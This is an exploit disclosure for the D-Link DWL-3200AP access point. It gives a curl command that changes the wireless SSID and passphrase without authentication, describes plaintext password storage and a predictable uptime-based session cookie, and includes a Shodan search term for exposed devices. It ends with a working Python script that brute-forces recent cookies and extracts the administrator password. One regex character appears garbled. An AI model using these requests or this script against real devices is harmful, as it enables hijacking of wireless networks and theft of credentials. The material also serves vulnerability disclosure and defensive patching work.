# Exploit Title: D-Link AP 3200 Multiple Vulnerabilities
# Date: 29/07/2014
# Exploit Author: pws
# Vendor Homepage: http://www.dlink.com/
# Firmware Link: http://ftp.dlink.ru/pub/Wireless/DWL-3200AP/Firmware/
# Tested on: Latest version
# Shodan d0rk: "Server: Allegro-Software-RomPager/4.06" ~12000 devices
# CVE : None yet

Those vulnerabilities have only been tested on the D-Link AP 3200 serie but
other series (8600, 7700, 2700, ..) might also be vulnerable.


1. Unauthenticated request to change Wireless settings

To do so, you just need to craft a specific POST Request:

$ curl 'http://192.168.50.3/Forms/FormCfgWireless?1,0,6' --data 'ApModeMenu=Access+Point&Ssid=MyPrivateNetwork&SsidBroadcast=Enable&AutoChannelScan=on&AuthMenu=WPA2-Personal&Cipher=AUTO&WPA_GroupKeyUpdateInterval=1800&passphrase=OMGWTFBBQ&Preapply=0&toReboot=0&hide=0' -D -

HTTP/1.1 303 See Other
Location: http://192.168.50.3/html/bWirelessSetting.htm?1,0,6
Content-Length: 0
Server: Allegro-Software-RomPager/4.06

ESSID will be: MyPrivateNetwork
Passphrase will be: OMGWTFBBQ

Other actions might also be vulnerable but this one was the most critical.
Moreover, those requests can lead to CSRF attacks (to target internal devices).


2. Credentials in plaintext

Passwords are stored in plaintext in the device.
This can be verified by (after logging in) going to administration page: /html/tUserAccountControl.htm .
Fields (Old && New && Confirm New) password are already filled.


3. Weak cookie value (RpWebID)

The cookie value generated is nothing more than the uptime of the AP.
Here is the output between two requests (delay between requests: 1sec):

$ curl http://192.168.50.3
<html><head>
<script src="jsMain.js"> </script>
<title>DWL-3200AP</title></head>


<script language='JavaScript'>
document.cookie = 'RpWebID=3c27a451';
</script>
<script language='JavaScript'>
function JumpToHmain(){location.replace('/html/index.htm');}window.setTimeout('JumpToHmain()',1);</script>


$ curl http://192.168.50.3
<html><head>
<script src="jsMain.js"> </script>
<title>DWL-3200AP</title></head>


<script language='JavaScript'>
document.cookie = 'RpWebID=3c27a452';
</script>
<script language='JavaScript'>
function JumpToHmain(){location.replace('/html/index.htm');}window.setTimeout('JumpToHmain()',1);</script>


4. PoC Time!

Basically, this code extracts the cookie value and decrement it to try all combinations from the last hour. (3600 values)
If there's one valid, it recovers the password from the AP.
I added some (horrible) 'trick' to not stress the network 'too much', but we said PoC, right?

# Example of usage
# $ python poc.py
# Cookie value extracted: 3c27acbb
# [+] Cookie: 3c27acae valid !
# [+] Password of AP is: admin123

import threading
import requests
import sys
import re
import time
import HTMLParser

# replace it with your target
url = "http://192.168.50.3/"

def test_valid_cookie(cookie_val):
    cookies = dict(RpWebID=cookie_val)
    try:
        req = requests.get('%shtml/tUserAccountControl.htm' % (url), cookies=cookies, timeout=10)
        pattern = r"NAME=\"OldPwd\" SIZE=\"12\" MAXLENGTH=\"12\" VALUE=\"([�-9]+)\""
        if ('NAME="OldPwd"' in req.content):
            print '[+] Cookie: %s valid !' % (cookie_val)
            h = HTMLParser.HTMLParser()
            password = re.findall(pattern, req.content)[0].replace('&', ';&')[1:] + ";"
            print '[+] Password of AP is: %s' % h.unescape(password)
    except:
        # print "[!] Error while connecting to the host"
        sys.exit(-1)


def get_cookie_value():
    pattern = "RpWebID=([a-z0-9]{8})"
    try:
        req = requests.get(url, timeout=3)
        regex = re.search(pattern, req.content)
        if (regex is None):
            print "[!] Unable to retrieve cookie in HTTP response"
            sys.exit(-1)
        else:
            return regex.group(1)
    except:
        print "[!] Error while connecting to the host"
        sys.exit(-1)

cookie_val = get_cookie_value()
print "Cookie value extracted: %s" % (cookie_val)

start = int(cookie_val, 16) - 3600 # less than one hour
cookie_val = int(cookie_val, 16)

counter = 0
for i in xrange(cookie_val, start, -1):
    if (counter >= 350):
        time.sleep(3)
        counter = 0
    b = threading.Thread(None, test_valid_cookie, None, (format(i, 'x'),))
    b.start()
    counter = counter + 1